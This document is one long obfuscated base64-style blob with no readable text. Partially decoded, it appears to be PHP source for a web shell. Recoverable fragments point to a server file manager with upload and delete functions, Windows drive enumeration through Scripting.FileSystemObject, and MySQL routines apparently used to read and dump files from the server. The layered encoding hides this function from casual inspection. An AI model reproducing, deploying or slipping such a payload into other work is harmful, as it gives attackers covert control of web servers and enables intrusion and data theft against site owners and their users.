WNKMndnSjI2cE93MEtDVFJtSUNnOVpqUnNOVzV4YlRVcElISTFkRE4yYmpzTkNnazI2R1kwYkRVb0p6VmtOSFJtTkd3MUoyeHVNbmR3TVhSb0lDc2daalJzTlc1eGJUVXNiako4NkRGMGFDazdEUXBoRFFwbU15NGpkRFEyYmlBMjZHWTBiRFVvTVdOME5ESnVMREp3WmpSc05TeGtOSElwZXcwS0NTUW9KeVkwYkRVMjZHWTI2bTBuS1M1eFk4UTBNbTV1ZGpGc016VWhNV04wTkRKdU93MEtDU1FvSnlZMGJEVTI2R1kyNm0wbktTNTI2R1kwYkRVdWRqRnNNelVoTW5CbU5HdzFPdzBLQ1NRb0p5WTBiRFUyNkdZMjZtMG5LUzRrTkhJdWRqRnNNelVoWkRSMk93MEtDU1FvSnlZMGJEVTI2R1kyNm0wbktTNHpNeUp0TkhRb0tUc05DbjBOQ21ZemJtTjBOREp1SUc2MlpEUjJLR1EwNml4eU5EVjhYOGQyTkhReFltdzFLWHNOQ2drMFppQW9kalExZDFoODZqUjBNV0pzTlNrZ2V3MEtDUWtrS0Nkbk1tUTA2aTZwTG5ZME5YZGZkOEkwZERGaWJEVXVkakZzTXpVaE5qc05DZ2xoRFFvSkpDZ25aekprTkhJbktTNGtOSEl1ZGpGc016VWhaRFIyT3cwS0NTUW9KeTYyWkRSMkoya3U2ek5pYlRSMEtDazdEUXBoRFFvM0w4Tmo2alJ3ZEQ1TkNpQWdQRGh3YUhBTkNnbDBZbWcxTVdRb0tUc05DZ2x3S0M2M1pqSjJiU0F4WThRME1tNWhJaTZ1SkhNMWJHWXVKMklnYlRWMGFESmtQU0pRVDFOVUlpQTFibU4wZVhBMVBTSnRNeXgwTkhBeDZuUXZaakoyYlMxa01YUXhJajUzZEhJZ1l5d3g2OE1oSWpGc2REWWlQangwWkNCak1teHo2REZ1UFNJOElpQnpkSGxzTlQwaTZERmtaRFJ1WnpwcDZIZzdJajVuS1RzTkNnbHdLQzYzWkRSeUlITjBlV3cxUFNKbWJESXhkRHAyTkdkb2REc2lQancwYm5BemRDQmpiREZ6NnowaU5HNHdNOFFpSUc1eGJUVWhJak53YkRJeFpHWTBiRFVpSUhZeGJETTFQU0lpSUhSNDZEVWhJbVkwYkRVaUlDMytJRHcwYm5BemRDQmpiREZ6NnowaVluUWlJRzV4YlRVaEltUTJNOEJtTkd3MUlpQnlNV3d6TlQwaVZYQnNNakZrSWlCMGVYQTFQU0p6TXlKdE5IUWlJQzMrUERSdTZETjBJRzV4YlRVaElqTndiREl4WkdRMDZpSWdkakZzTXpVaElpNnVKR1EwNmk1bklpQjBlWEExUFNKb05HUmtOVzVpSUMzK1BEUnU2RE4wSUc1eGJUVWhJbVEwNmlJZ2RqRnNNelVoSWk2dUpHUTA2aTVuSWlCMGVYQTFQU0pvTkdSa05XNWlJQzMrUENoa05IWStKMms3RFFvSjZDZ25QREVnYUhJMVpqMGlhakZ5TVhOajZqUndkRHBuTW1RMDZpOTZKMjZ1SkZoVFJWSldSVkpiSWtSUFExVk5SVTRVWDFKUFQxUWlYUzVuWEM2cE8ySStWelZpVWpJMmREd3ZNVDVuS1RzTkNnazBaaUFvSkhZME5YZGZkOEkwZERGaWJEVXBJSHNOQ2drSjZDZ25JSHdnUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwbk1tUTA2aTk2SjI2dUpHNTJkOEF4ZEdndUoxd25LVHNpUGxZME5YNmdRV3hzUEMzeFBpNnBPdzBLQ1gwZ05XeHpOU0I3RFFvSkNYQW9KMkIzSUR3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1p6SmtOSElvWEM2bkxpUnVNbmR3TVhSb0xpZDZKMng2SnpaNkoyazdJajRXTkRWOElGZDJOSFF4WW13MVBDM3hQaTZwT3cwS0NYME5DZ2x3S0M2Z2ZDQTNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPbU4yTlRGME5XUTA2aWdwTzJJK1E4STFNWFExSUVRMDZqVmpkREoyZVR3dk1UNWdmQ0EzTVNCbzZqVm1QU0pxTVhZeDZ5TjJOSEIwT21OMk5URjBOV1kwYkRVb1hDNm5MaVJ1TW5kd01YUm9MaWQ2SjJrN0lqNEQ2alV4ZERVZ1JqUnNOVHd2TVQ1bktUc05DZ2swWmlBb1NWTmZWMGxPSUNZbUlFbFRYME5QVFNrZ2V3MEtDUWtrTW1KcUlEMGdialY4SUVOUFRTZ242eU4yTkhCME5HNG5MbVkwYkRWemVYTjBOVzAyWW1vMVk4UW5LVHNOQ2drSk5HWWdLQ1EyWW1vZ0ppWWdOSE5mTW1KcU5XTjBLQ1EyWW1vcEtTQjdEUW9KQ1Fra1JISTBkalZVZVhBMVJFSWdQU0F4Nm5JeGVTZ3dJRDArSUNkVmJtdHVNbjZuTERZZ1BUNWdKMUkxYlRKeU1XSnNOUzZzWVNBaFBpQW5SalI1TldRbkxHM2dQVDVnSjA1MWRINjI2bXNuTEhVZ1BUNWdKME5FVWpKdEoyeHBJRDArSUNkU1FVMGdSRFJ6YTI2cE93MEtDUWtKWmpKMk5URmphQ2drTW1KcUxUNEU2alJ5TlhNZ01YTWdKR1IyTkhZMUtTQjdEUW9KQ1FrSk5HWWdLQ1JrNmpSeU5TMCtSSEkwZGpWVWVYQTFJRDBoSUdFcElIc05DZ2tKQ1FrSjZDZ25JSHdnUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwbk1tUTA2aTk2SjI2dUpHUjJOSFkxTFQ0UU1YUm9MaTZ2WEM2cE8ySWdkRFIwYkRVaElsTTBlalVjSjI0ek5IbzFZekl6Ym5Rb0pHUjJOSFkxTFQ0VU1uUXhiRk0wZWpVcExpNm1Jelp2TzBaMk5UVWNKMjR6TkhvMVl6SXpiblFvSkdSMk5IWTFMVDRHNmpVMVU4QXhZelVwTGk2bUl6WnZPMVI0NkRVY0oyNWtSSEkwZGpWVWVYQTFSRUpiSkdSMk5IWTFMVDRFNmpSeU5WUjQ2RFZkTGk2aVBpNnVKRVIyTkhZMVZIbHdOVVJDVzJSazZqUnlOUzArUkhJMGRqVlVlWEExWFM1bktDNnVKR1IyTkhZMUxUNFFNWFJvTGk2cFBDM3hQaTZwT3cwS0NRa0pDWDBnTld4ek5TQjdEUW9KQ1FrSkNYQW9KMkIzSUR3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1p6SmtOSElvWEM2bkxpUms2alJ5TlMwK1VERjBhQzVuTDF3bktUc2lJSFEwZEd3MVBTSlVlWEExT2k2dUpFUjJOSFkxVkhsd05VUkNXMlJrNmpSeU5TMCtSSEkwZGpWVWVYQTFYUzVuSWo1bkxpUkU2alJ5TlZSNDZEVkVRbHNrWkhJMGRqVXRQa1IyTkhZMVZIbHdOVjB1SjJnbkxpUms2alJ5TlMwK1VERjBhQzVuS1R3dk1UNW5LVHNOQ2drSkNRbGhEUW9KQ1FsaERRb0pDWDBOQ2dsaERRb05DZ2x3S0M2M0w4UmtQand2ZEhJK1BDaG1Nbkp0UGk2cE93MEtEUW9KNkNnblBIUjJJR05zTVhOelBTSm9OVEZrSWo1M2RHUStKbTRpNjhBN1BDaDBaRDUzZEdRK1JqUnNOVzV4YlRVM0w4UmtQangwWkNCOE5HUjBhRDBpTm1VbElqNE1NWE4wSUcwMlpEUm1ORFZrUENoMFpENTNkR1FnZHpSa2RHZ2hJall3SlNJK1V6UmNOVHd2ZEdRK1BIUmtJSDYwWkhSb1BTSjlNQ1VpUGtOb2JUSmtJQzNnVURWMmJYTTNMOFJrUGp4MFpDQjhOR1IwYUQwaVlXRWxJajRCWThRME1tNTNMOFJrUGp3dmRISStKMms3RFFvTkNna3ZMMllqWVdWcE9UNjdKaU52TUhVOGFUc21JeUZwTm1sOU8yWWpZV1Z2Tno2N0ppTjlOblU1TnpzbUl5RXdPRGc0TzJZallXazRPVFk3SmlOOU1HRXlkVHNtSXlFeVpYVjFPMllqYnpCMWRXVTdKaU45ZFhVd2FUc05DZ2trWkRSMlpERjBNVDB4Nm5JeGVTZ3BPdzBLQ1NSbU5HdzFaREYwTVQweDZuSXhlU2dwT3cwS0RRb0pOR1lnS0NSeU5EVjhYOGQyTkhReFltdzFLU0I3RFFvSkNTUmtOSEprTVhReElEMGdSelYwVERSemRDZ2tiako4NkRGMGFDazdEUW9KZlNBMWJITTFJSHNOQ2drSkwyM2dKaU52TUhWMVpUc21JeUYxZFRCcE8yWWpZVFl3Tm1rN0ppTnZkVGw5TURzTkNna0pKR1EwNm5NaFFESndOVzRrTkhJb0pHUTA2aWs3RFFvSkNYZG9OR3cxSUNna1pqUnNOVDFBNmpVeFpHUTA2aWdrWkRSMjYya3BJSHNOQ2drSkNTUm1OR3cxNkRGMGFEMGtiako4NkRGMGFDNWtaalJzTlRzTkNna0pDVFJtS0VBMDYxaGtOSElvSkdZMGJEVndNWFJvS1NsN0RRb0pDUWtKSkdRMDZtUmlXMmRtTkd3MWJqRnROU2RkUFNSbU5HdzFPdzBLQ1FrSkNTUmtOSEprWWxzbmJYUTBiVFVuWFQxQVpERjBOU2duV1MxdExXUWdTRG8wT25NbkxHWTBiRFZ0ZERSdE5TZ2taalJzTlhBeGRHZ3BLVHNOQ2drSkNRa2taRFIyWkdKYkp5UTA2bU5vYlRKa0oxMGhaelYwUXk5dE1tUW9KR1kwYkRWd01YUm9LVHNOQ2drSkNRa2taRFIyWkdKYkp5UTA2bkExNm0wblhUMW5OWFJRTlhKdDYyZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUmtOSEprWWxzblpqUnNOVEo4YmpWMkoxMGhaelYwVlhNMTZpZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUmtOSEprWWxzblpEUjJiRFJ1YTJkZFBTUnVNbmR3TVhSb093MEtDUWtKQ1NSa05ISmtZbHNuNnpWMmRqVjJYeXcwYm1zblhUMGtaalJzTlhBeGRHZzdEUW9KQ1FrSkpHUTA2bVJpVzJkamJEUTFiblJmYkRSdWEyZGRQVE0xS0NSbU5HdzE2REYwYUNrN0RRb0pDUWtKSkdRMDZtUXhkREZiWFQwa1pEUjJaR0k3RFFvSkNRbGhJRFZzNnpVZ2V3a0pEUW9KQ1FrSkpHWTBiRFZrWWxzblpqUnNOVzV4YlRVblhUMGtaalJzTlRzTkNna0pDUWtrWmpSc05XUmlXMmR6TkhvMUoxMGg2elJjTldNMk15NDBLRUJtTkd3MTZ6UmNOU2drWmpSc05YQXhkR2dwS1RzTkNna0pDUWtrWmpSc05XUmlXMmR0ZERSdE5TZGRQVUJrTVhRMUtDZFpMVzB0WkNCSU9qUWM2MjZzWmpSc05XMTBORzAxS0NSbU5HdzE2REYwYUNrcE93MEtDUWtKQ1NSbU5HdzFaR0piSnlZMGJEVmphRzAyWkNkZFBXNjFkRU5vYlRKa0tDUm1OR3cxNkRGMGFDazdEUW9KQ1FrSkpHWTBiRFZrWWxzblpqUnNOWEExNm0wblhUMW5OWFJRTlhKdDYyZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUm1OR3cxWkdKYkp5WTBiRFUyZHk1MTZpZGRQVzYxZEZWek5YSW9KR1kwYkRWd01YUm9LVHNOQ2drSkNRa2taalJzTldSaVcyZGtOSEpzTkc0ckoxMGhKRzUyZDhBeGRHZzdEUW9KQ1FrSkpHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YVDBrWmpSc05YQXhkR2c3RFFvSkNRa0pKR1kwYkRWa1lsc25ZeXcwTlc0MFh5dzBibXNuWFQwek5TZ2taalJzTlhBeGRHZ3BPdzBLQ1FrSkNTUm1OR3cxWkRGME1WdGRQU1JtTkd3MVpHSTdEUW9KQ1FsaERRb0pDWDB2TDJCOGFEUnNOUTBLQ1FremJuTTFkQ2drWkRSMlpHSXBPdzBLQ1FremJuTTFkQ2drWmpSc05XUmlLVHNOQ2drSlFHTnNNbk0xWkRSMktDUmtOSEp6S1RzTkNnbGhEUW9KUUhNMjZuUW9KR1EwNm1ReGRERXBPdzBLQ1VCek1uSjBLQ1JtTkd3MVpERjBNU2s3RFFvSkpHUTA2bDMwSUQwZ0p6QW5PdzBLQ1dZMjZqVXhZeWdvSkdRMDZtUXhkREVnTVhNZ0pHczFlU0FoUGlBa1pEUjJaR0lwZXcwS0NRazBaaWdrWkRSMlpHSmJKeVkwYkRWdU1XMDFKMTA5UFM2dUxpNmdKaVlnSkdRMDZtUmlXMmRtTkd3MWJqRnROU2RkSVQwbkxpNnBJSHNOQ2drSkNTUjBhRFJ6WW02Z1BTQmlaMmdwT3cwS0NRa0o2Q2duUEhSMklHTnNNWE56UFNJbkxpUjBhRFJ6WW02dUoySWdNbTR0TWpOek5USnlOWEloSW5Sb05ITXVZeXd4NjhOT01XMDFQVnduWmpKak04TjZKenNpSURKdWJUSXo2elUyTThRaEluUm9OSE11WXl3eDY4Tk9NVzAxUFZ3bkoyNWtkR2cwNnlKbkxpZDZKenNpUGk2cE93MEtDUWtKNkNnblBIUmtJSDYwWkhSb1BTSjlKU0lnYmpKODZqRndQanhtTW00MElHWXhZelVoSW42MGJtZGtORzRuNjJJZzZ6UmNOVDBpYjJJK01Ed3Zaakp1ZEQ1M0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa1Bqd3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaekprTkhJb1hDNm5MaVJrTkhKa1lsc242elYyZGpWMlh5dzBibXNuWFM1blhDNnBPMkkrSjI1a1pEUjJaR0piSnlZMGJEVnVNVzAxSjEwdUp6d3ZNVDUzTDhSa1BpNnBPdzBLQ1FrSjZDZ25QSFJrSUc1MmQ4SXg2RDVuTGlSa05ISmtZbHNuYlhRMGJUVW5YUzVuUENoMFpENW5LVHNOQ2drSkNYQW9KengwWkNCdU1uZDJNWEErTFMwM0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa0lHNTJkOEl4NkQ1bktUc05DZ2tKQ1hBb0p6d3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaalJzTlhBMTZtMG9YQzZuTGlSa05ISmtZbHNuNnpWMmRqVjJYeXcwYm1zblhTNW5YQzZwTzJJK0oyNWtaRFIyWkdKYkp5UTA2bU5vYlRKa0oxMHVKend2TVQ1Z0wyQW5LVHNOQ2drSkNYQW9Kend4SUc5Mk5XWWhJbW94ZGpGelk4STA2SFFjWmpSc05YQTE2bTBvWEM2bkxpUmtOSEprWWxzbjZ6VjJkalYyWHl3MGJtc25YUzVuWEM2cE8ySStKMjVrWkRSMlpHSmJKeVEwNm5BMTZtMG5YUzVuUEMzeFBpNnVKR1EwNm1SaVcyZG1OR3cxTW5kdU5YSW5YUzVuUENoMFpENW5LVHNOQ2drSkNYQW9KengwWkNCdU1uZDJNWEErUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwa01tWTBiRFVvWENka05XeGtOSEo2SjJ4NkoyNnVKR1EwNm1SaVcyZHpOWEp5TlhKZmJEUnVhMmRkTGlkNkoyeDZKMEYyTlNCNE1qTWc2ek4yTlNCOE5HeHNJR1ExYkRWME5TQW5MaVJrTkhKa1lsc25aalJzTlc1eGJUVW5YUzVuUDJCNlhHNDZYRzRKWmlCdU1tNXROVzF3ZEhrZ1pEUjJOV04wTW5KNExDQjhOR3hzSUdJMUlHUTFiRFYwTlNBeGJHd2dkR2cxSUdZMGJEVnpMbHduS1NJK1JEVnNQQzN4UGlCM0lEd3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWM2alZ1TVcwMUtGd25KMjVrWkRSMlpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxd25LVHNpUGxJMWJqRnROVHd2TVQ1M0w4UmtQaTZwT3cwS0NRa0o2Q2duUENoMDZqNW5LVHNOQ2drSkNTUmtOSEpmTkNzck93MEtDUWxoSURWczZ6VWdldzBLQ1FrSk5HWW9KR1EwNm1SaVcyZG1OR3cxYmpGdE5TZGRQVDBuTGk1bktTQjdEUW9KQ1FrSjZDZ25QSFIySUdOc01YTnpQUzZ1WW02b0tTNW5QaTZwT3cwS0NRa0pDWEFvSnp4MFpDQXhiRFJuYmowaVl6VnVkRFYySWo1M1pqSnVkQ0JtTVdNMVBTSlhORzRuWkRSdVo4TWdiMklnNnpSY05UMTFQajAzTHlZMmJuUStQQ2gwWkQ1M2RHUWdiako4NmpGd0lHTTJiSE53TVc1aElta2lQand4SUc5Mk5XWWhJbW94ZGpGelk4STA2SFFjWnpKa05ISW9YQzZuTG02MWRGVndVREYwYUNna2JqSjg2REYwYUNrdUoxd25LVHNpUGxBeDZqVnVkQ0JFTkhJMVk4UTI2bmszTHpFK1BDaDBaRDVuS1RzTkNna0pDUWx3S0M2M0w4UjJQaTZwT3cwS0NRa0pmUTBLQ1FsaERRb0pmUTBLRFFvSjZDZ25QSFIySUdKbll6SnNNbkloSWlOa1pHUmtaR1FpSUhOMGJIazFQU0ppTW5Ka05YSXRkREp3T2pad2VDQnpNbXcwWkNBalptWm1PeUkyNm1RMTZpMWlNblIwTW0wY05uQjVJSE0yYkRSa0lDTmtaR1E3SWo1M2RHUWdZekpzNjhBeGJqMGlaU0lnYURVMFp5OTBQU0pwSWo1M0w4UmtQand2ZEhJK0oyazdEUW9KNkNnblBHWTI2bTBnTkdRaEltWTBiRFZzTkhOMElpQnVNVzAxUFNKbU5HdzFiRFJ6ZENJZ01XTjBOREp1UFNJbkxpUnpOV3htTGk2aUlHMDFkR2cyWkQwaTZESnpkQ0krSjJrN0RRb0piVEZyTldnMFpEVW9KekZqZERRMmJpNnNKeVkwYkRVbktUc05DZ2x0TVdzMWFEUmtOU2duZEdnMVpqUnNOUzZwT3cwS0NXMHhhelZvTkdRMUtDZGtNalJ1WjI2cE93MEtDVzB4YXpWb05HUTFLQ2RrTkhJbkxDUnVNbmR3TVhSb0tUc05DZ2trWmpSc05WMzBJRDBnSnpBbk93MEtDV1kyNmpVeFl5Z29KR1kwYkRWa01YUXhJREZ6SUNSck5Ya2dQVDVnSkdZMGJEVmtZaWw3RFFvSkNUUm1LQ1JtTkd3MVpHSmJKeVkwYkRWdU1XMDFKMTA5UFM2dUxpNmdKaVlnSkdZMGJEVmtZbHNuWmpSc05XNXhiVFVuWFNFaEoyNW5LU0I3RFFvSkNRa2taalJzTlROMmJDQWhJSE4wNmxoMk5YQnNNV00xS0ZOQlgxSlBUMVFzSjI2c0pHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YU2s3RFFvSkNRa2tkR2cwNnlKbklEMGdZbTZvS1RzTkNna0pDWEFvSnp4MDZpQmpiREZ6NnowaUoyNWtkR2cwNnlKbkxpNmlJREp1YlRJejZ6VTJkalYyUFNKMGFEUnpMbU5zTVhOelRqRnROVDE2SnlZMll6TnpYQzY3SWlBMmJtMDJNOE0xTWpOMFBTSjBhRFJ6TG1Oc01YTnpUakZ0TlQxNkoyNnVKSFJvTkhOaVoyNW5YQzY3SWo1bktUc05DZ2tKQ1hBb0p6eDBaQ0I4TkdSMGFEMGlZU1VpSUc1MmQ4SXg2RDUzTkc0d004UWdkSGx3TlQwaVl5ZzFZeXRpTW5naUlIWXhiRE0xUFNJeUlpQnVNVzAxUFNKa2JGc25MaVJtTkd3MVpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxMGlQand2ZEdRK0oyazdEUW9KQ1Fsd0tDNjNkR1ErUERFZ2FISTFaajBpSjI1a1pqUnNOVE4yYkM1bklpQjBNWEpuTlhRaElsaGliREZ1YTJJK0oyNWtaalJzTldSaVcyZG1OR3cxYmpGdE5TZGRMaTYzTHpFK1BDaDBaRDVuS1RzTkNna0pDWEFvSnp4MFpDQnVNbmQyTVhBK0oyNWtaalJzTldSaVcyZHRkRFJ0TlNkZExpNjNMOFJrUGk2cE93MEtDUWtKNkNnblBIUmtJRzUyZDhJeDZENW5MaVJtTkd3MVpHSmJKOE0wZWpVblhTNW5QQ2gwWkQ1bktUc05DZ2tKQ1hBb0p6eDBaQ0J1TW5kMk1YQStKMms3RFFvSkNRbHdLQzYzTVNCbzZqVm1QU0pxTVhZeDZ5TjJOSEIwT21ZMGJEVndOWEp0S0Z3bkoyNWtaalJzTldSaVcyZHpOWEp5TlhKZmJEUnVhMmRkTGlkNkoyazdJajVuTGlSbU5HdzFaR0piSnlZMGJEVmphRzAyWkNkZExpNjNMekUrSUMzZ0oyazdEUW9KQ1Fsd0tDNjNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPbVkwYkRWd05YSnRLRnduSjI1a1pqUnNOV1JpVzJkek5YSnlOWEpmYkRSdWEyZGRMaWQ2SjJrN0lqNW5MaVJtTkd3MVpHSmJKeVkwYkRWd05YSnRKMTB1Snp3dk1UNW5MaVJtTkd3MVpHSmJKeVkwYkRVMmR5NTE2aWRkTGk2M0w4UmtQaTZwT3cwS0NRa0o2Q2duUEhSa0lHNTJkOEl4NkQ1bktUc05DZ2tKQ1hBb0p6d3hJRzkyTldZaEltb3hkakZ6WThJMDZIUWNaREptTkd3MUtGd25aREo4Ym1ZMGJEVjZKMng2SjI2dUpHWTBiRFZrWWxzbjZ6VjJkalYyWHl3MGJtc25YUzVuWEM2cE8ySStSREo4Ymp3dk1UNWdmQ0FuS1RzTkNna0pDWEFvSnp3eElHOTJOV1loSW1veGRqRnpZOEkwNkhRY1l6SndlV1kwYkRVb1hDNm5MaVJtTkd3MVpHSmJKOE0xNm5ZMTZsaHNORzRySjEwdUoxd25LVHNpUGtNMjZIazNMekUrSUh3Z0oyazdEUW9KQ1Fsd0tDNjNNU0JvNmpWbVBTSnFNWFl4NnlOMk5IQjBPakp3WmpSc05TOTZKelZrTkhSbU5HdzFYQzZzWEM2bkxpUm1OR3cxWkdKYko4TTE2blkxNmxoc05HNHJKMTB1SjF3bkxGd25KMjVrWmpSc05XUmlXMmRrTkhKc05HNHJKMTB1SjF3bktUc2lQa1ZrTkhRM0x6RStJSHdnSjJrN0RRb0pDUWx3S0M2M01TQm82alZtUFNKcU1YWXg2eU4yTkhCME9uSTFiakZ0TlM5NkoyNnVKR1kwYkRWa1lsc242elYyZGpWMlh5dzBibXNuWFM1blhDNnBPMkkrVWpWdU1XMDFQQzN4UGlCM0lDNnBPdzBLQ1FrSjZDZ25QREVnYUhJMVpqMGlhakZ5TVhOajZqUndkRG8yNkdZMGJEVW9YQ2R1TlhkME5HMDFYQzZzWEM2bkxpUm1OR3cxWkdKYko4TTE2blkxNmxoc05HNHJKMTB1SjF3bkxGd25KMjVrWmpSc05XUmlXMmRrTkhKc05HNHJKMTB1SjF3bktUc2lQbFEwYlRVM0x6RStKMms3RFFvSkNRbHdLQzYzTDhSa1Bqd3ZkSEkrSjJrN0RRb0pDUWtrWmpSc05WMzBLMnM3RFFvSkNYME5DZ2xoRFFvSjZDZ25QSFIySUdOc01YTnpQU0luTG1KbktDa3VKMkkrUEhSa0lERnNOR2R1UFNKak5XNDBOWElpUGp3MGJuQXpkQ0J1TVcwMVBTSmphR3N4Ykd3aUlIWXhiRE0xUFNJMmJpSWdkSGx3TlQwaVl5ZzFZeXRpTW5naUlESnVZeXcwWXlzaElrTm9OV05yUVd4c0tIUm9OSE11WmpKMmJTa2lJQzMrUENoMFpENTNkR1ErUERFZ2FISTFaajBpYWpGeU1YTmo2alJ3ZERwa01tWTBiRFVvWENka01uZHU2akYyWEM2cE8ySStVREZqYXpSdVoyQmtNbmR1YkRJeFpDQnpOV3cxWThRMVpEd3ZNVDVnTFNBM01TQm82alZtUFNKcU1YWXg2eU4yTkhCME9tUTJaalJzTlM5Nkp5UTFiR1kwYkRWelhDNnBPMkkrUkRWc05YUTFJSE0xYkRWamREVmtQQzN4UGp3dmRHUStQSFJrSUdNMmJITndNVzVoSW5VaUlERnNOR2R1UFNKMk5HZG9kQ0krSjI1a1pEUjJYelF1SjJCa05ISTFZOFEyNmpRMTYyQXZJQzZ1SkdZMGJEVmZOQzVuSUdZMGJEVnpQQ2gwWkQ1M0w4UjJQaTZwT3cwS0NYQW9Kend2WmpKMmJUNTNMOFF4WW13MVBpNnBPdzBLZlMzdklEVnVaQ0JrTkhJTkNnMEtOV3h6TlRSbUlDZ2tNV04wTkRKdUlEMGhJQ2R6Nld4bU5HdzFKMmtnZXcwS0NUUm1LQ1JrTWpSdVp6MGhJbTE0NjhGc004QnNNakZrSWlsN0RRb0pDU1JtTkd3MUlEMGdKRmhHU1V4RlUxc25NOEJzTWpGa1pqUnNOU2RkT3cwS0NRa2taalJzTlc1eGJUVWdQU0FrWmpSc05Wc25kRzF3WHk1eGJUVW5YVHNOQ2drSk5HWWdLR1kwYkRWZk5YZzA2OFJ6S0NSek1YWTE2REYwYUNrcElIc05DZ2tKQ1cwb0oxUm9OU0JuTWpGc0lHWTBiRFVnYURGeklERnM2alV4WkhrZ05YZzA2OFExWkM2cE93MEtDUWxoSURWczZ6VWdldzBLQ1FrSk5HWW9JU1JtTkd3MWJqRnROU2tnZXcwS0NRa0pDVzBvSjFCc05URnpOU0JqYURJMjZ6VWdNU0JtTkd3MUoyazdEUW9KQ1FsaElEVnM2elVnZXcwS0NRa0pDU1JtNkQxQVpqSndOVzVvSkdZMGJEVnVNVzAxTENkMkoyazdEUW9KQ1FrSkpHTTJiblExYm5SelBVQm02alV4WkNna1puQXNJR1kwYkRWek5IbzFLQ1JtTkd3MWJqRnROU2twT3cwS0NRa0pDVUJtWXl3MjZ6VW9KR1p3S1RzTkNna0pDUWtrWXpKdWREVnVkSE1nUFNCaU5HNDlhRFY1S0NSak1tNDBOVzQwNjJrN0RRb0pDUWtKTkdZb0lTUXo2RzV4YlRVcElDUXo2RzV4YlRVZ1BTQWtaalJzTlZzbmJqRnROU2RkT3cwS0NRa0pDV1JpWXpKdWJpZ2taR0pvTW5OMExDUmtZak56TlhJc0pHUmk2REZ6NjJ3a1pHSnVNVzAxTENSamFERjI2elYwTENSa1luQTI2blFwT3cwS0NRa0pDU1IyTlhNemJIUWdQU0J4S0NKVFJVeEZRMVFnTUg5N0pHTTJiblExYm5SemZTQkdVa2hOSUcxNDY4RnNMak56TlhJZ1NVNFVUMkJFVlUxUVJrbE1SU0FuSkhNeGRqVndNWFJvSnpzaUtUc05DZ2tKQ1FsdEtDUjJOWE16YkhRZ1AyQW5WWEJzTWpGa0lITXpZeU0xNjhNbklEb2dKMVZ3YkRJeFpDQm9NWE1nWmpFMGJEVmtPaUFuTG0xNDY4RnNYelYyNmpKMktDa3BPdzBLQ1FrSmZRMEtDUWxoRFFvSmZRMEtQejVOQ2p4elk4STA2SFFnZEhsd05UMGlkRFY1ZENocU1YWXg2eU4yTkhCMElqNU5DbVl6Ym1OME5ESnVJRzE0NjhGc1pqUnNOUzlrTWpSdVoybDdEUW9KTkdZb0lXUTJORzRuS1NCMk5YUXo2bTU3RFFvSkpDZ25aREkwYm02bktTNHlNV3d6TlQxa01qUnVaenNOQ2dra0tDZHRlWE54YkdZMGJEVW5LUzRrWW1nMjY4UXVkakZzTXpVaEpDZ25aR0kwYm1ZMkoya3VaR0pvTW5OMExuWXhiRE0xT3cwS0NTUW9KeTE0NjhGc1pqUnNOUzZwTG1SaTZESjJkQzR5TVd3ek5UMGtLQ2RrWWpSdVpqSW5LUzRrWW5BMjZuUXVkakZzTXpVN0RRb0pKQ2duYlhsejZXeG1OR3cxSjJrdVpHSXo2elYyTG5ZeGJETTFQU1FvSnlSaU5HNG1NaTZwTG1SaU04TTE2aTR5TVd3ek5Uc05DZ2trS0NkdGVYTnhiR1kwYkRVbktTNGtZbkF4NjhNdWRqRnNNelVoSkNnblpHSTBibVkySjJrdVpHSndNWE56TG5ZeGJETTFPdzBLQ1NRb0p5MTQ2OEZzWmpSc05TNnBMbVJpYmpGdE5TNHlNV3d6TlQwa0tDZGtZalJ1WmpJbktTNGtZbTV4YlRVdWRqRnNNelU3RFFvSkpDZ25iWGx6Nld4bU5HdzFKMmt1WXlneDZuTTFkQzR5TVd3ek5UMGtLQ2RrWWpSdVpqSW5LUzRqYURGMjZ6VjBMbll4YkRNMU93MEtDU1FvSnkxNDY4RnNaalJzTlM2cExuTXpZbTAwZENncE93MEtmUTBLUENoelk4STA2SFErRFFvM1A4Qm82QTBLQ1NFa1pHSm9Nbk4wSUNZbUlDUmtZbWcyNjhRZ1BTQW5iREpqTVd4b01uTjBKenNOQ2drOUpHUmlNOE0xNmlBbUppQWtaR0l6NnpWMklEMGdKOEkyTW5Rbk93MEtDU0VrWkdKd01uSjBJQ1ltSUNSa1luQTI2blFnUFNBbmJ5M3daUzY3RFFvSkpHTm9NWEp6TlhSeklEMGdNWEoyTVhrb0oyNmhQaWRFTldZeE15eDBKMnduWnlKckp6MCtKMGRDUzI2c0lDZGlOR2RwSnowK0owSTBaeWtuTENBbk04Um1PQzZoUGlkVlZFWXRPQzZzSUNkc01YUTBialluUFQ1blRERjBORzV5SjJrN0RRb0paakoyYldnMU1XUW9NWEoyTVhrb0o4UTBkR3cxSnowK0owMVpVMUZNSUVsdVpqSjJiVEYwTkRKdUoyd25iakZ0TlM2aFBpZGtZalJ1WmpJbktTazdEUW9KYlRGck5XZzBaRFVvSnpGamREUTJiaTZzSjhOeGJHWTBiRFVuS1RzTkNnbHdLQzYzNkQ1bktUc05DZ2x3S0NkRVFrZzI2OFFjSjJrN0RRb0piVEZyTlRSdTZETjBLREYyNmpGNEtDZHVNVzAxSnowK0p5UmlhREp6ZEM2c0o4TTBlalVuUFQ0OU1Dd25kakZzTXpVblBUNWtaR0pvTW5OMEtTazdEUW9KNkNnbk9pNnBPdzBLQ1cweGF6VTBibkF6ZENneDZuSXhlU2duYmpGdE5TNmhQaWRrWW5BMjZuUW5MQ2R6TkhvMUp6MCtkU3duZGpGc016VW5QVDVrWkdKd01uSjBLU2s3RFFvSjZDZ25SRUpWNnpWMk9pNnBPdzBLQ1cweGF6